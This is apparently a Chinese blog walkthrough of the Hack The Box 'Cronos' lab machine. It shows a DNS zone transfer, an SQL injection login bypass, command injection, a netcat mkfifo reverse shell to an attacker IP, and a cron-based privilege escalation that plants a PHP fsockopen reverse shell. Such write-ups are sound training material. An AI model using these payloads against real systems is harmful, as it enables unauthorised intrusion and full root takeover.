Linux/Cronos

Cronos

天热了,什么也不想干,拿以前的来凑个数

Enumeration

Nmap

扫描发现对外开放了22,53,80端口,使用nmap详细扫描这几个端口

┌──(kali㉿kali)-[~/vegetable/HTB/cronos]
└─$ nmap -sC -sV -p 22,53,80 -oA nmap 10.10.10.13
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 01:39 EST
Nmap scan report for 10.10.10.13
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.29 seconds

根据nmap的结果,可以看到80端口是Apache的默认页面,53端口也是打开的,尝试使用nslookup来发现主机域名

┌──(kali㉿kali)-[~/vegetable/HTB/cronos]
└─$ nslookup 10.10.10.13 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.

将cronos.htb添加至/etc/hosts中,然后通过区域传输进一步枚举系统的子域名

┌──(kali㉿kali)-[~/vegetable/HTB/cronos]
└─$ dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.18.8-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 319 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue Dec 26 01:48:58 EST 2023
;; XFR size: 7 records (messages 1, bytes 203)

经过尝试,发现访问www.cronos.htb是一个web页面

可是点击页面上的链接,却全部都跳到外部其他链接去了,名为laravel,搜索关键词发现laravel是一个php web框架

Exploitation

sql injection

而admin.cronos.htb是一个登录表单,简单试了一些弱口令发现不起作用,但是使用admin' or 1=1 -- -可以直接登录系统,看来有sql注入

登陆成功后会跳转到welcome.php,看到可以执行traceroute和ping命令,测试是否存在命令执行

直接在ip后添加 ;id 可以直接执行命令

使用反向shell命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f

在监听端会收到一个shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 9001                   
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.13] 48858
sh: 0: can't access tty; job control turned off
$ whoami
www-data

然后将该shell升级

Privilege Escalation

将linpeas下载至目标主机

www-data@cronos:/tmp$ wget http://10.10.14.7:8888/linpeas.sh
--2023-12-26 10:10:35--  http://10.10.14.7:8888/linpeas.sh
Connecting to 10.10.14.7:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847834 (828K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 827.96K   246KB/s    in 3.4s    

2023-12-26 10:10:39 (246 KB/s) - 'linpeas.sh' saved [847834/847834]

为脚本添加执行权限,然后执行,在Cron jobs中,有一行如下所示,表示每分钟都会以root身份执行一次该命令

╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs

* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

www-data用户对该文件有完全控制权限

www-data@cronos:/var/www/admin$ ls -al /var/www/laravel/artisan
ls -al /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

该文件是php写的,尝试在文件最上面写入一个php反向连接shell(第4,5行),然后等待一分钟即可

www-data@cronos:/var/www/laravel$ cat artisan 
#!/usr/bin/env php
<?php
$sock=fsockopen("10.10.14.7",9002);
exec("sh <&3 >&3 2>&3");
/*

在监听端收到shell,是root

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 9002
listening on [any] 9002 ...

connect to [10.10.14.7] from (UNKNOWN) [10.10.10.13] 43406
id
uid=0(root) gid=0(root) groups=0(root)

 

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-23 19:12:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-23 19:12:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-23 19:12:02       82 阅读
  4. Python语言-面向对象

    2024-04-23 19:12:02       91 阅读

热门阅读

  1. hadoop大数据原理与应用-----初识hadoop习题集

    2024-04-23 19:12:02       38 阅读
  2. 程序员缓解工作压力的小窍门

    2024-04-23 19:12:02       35 阅读
  3. Python基础学习之itertools.zip_longest()函数

    2024-04-23 19:12:02       38 阅读
  4. 面试十四、内存泄漏

    2024-04-23 19:12:02       34 阅读
  5. 【Linux】学习记录_16_POSIX互斥锁

    2024-04-23 19:12:02       39 阅读
  6. VUE发展方向的文章

    2024-04-23 19:12:02       106 阅读
  7. CUDA编程:其四、CUDA矩阵乘法

    2024-04-23 19:12:02       35 阅读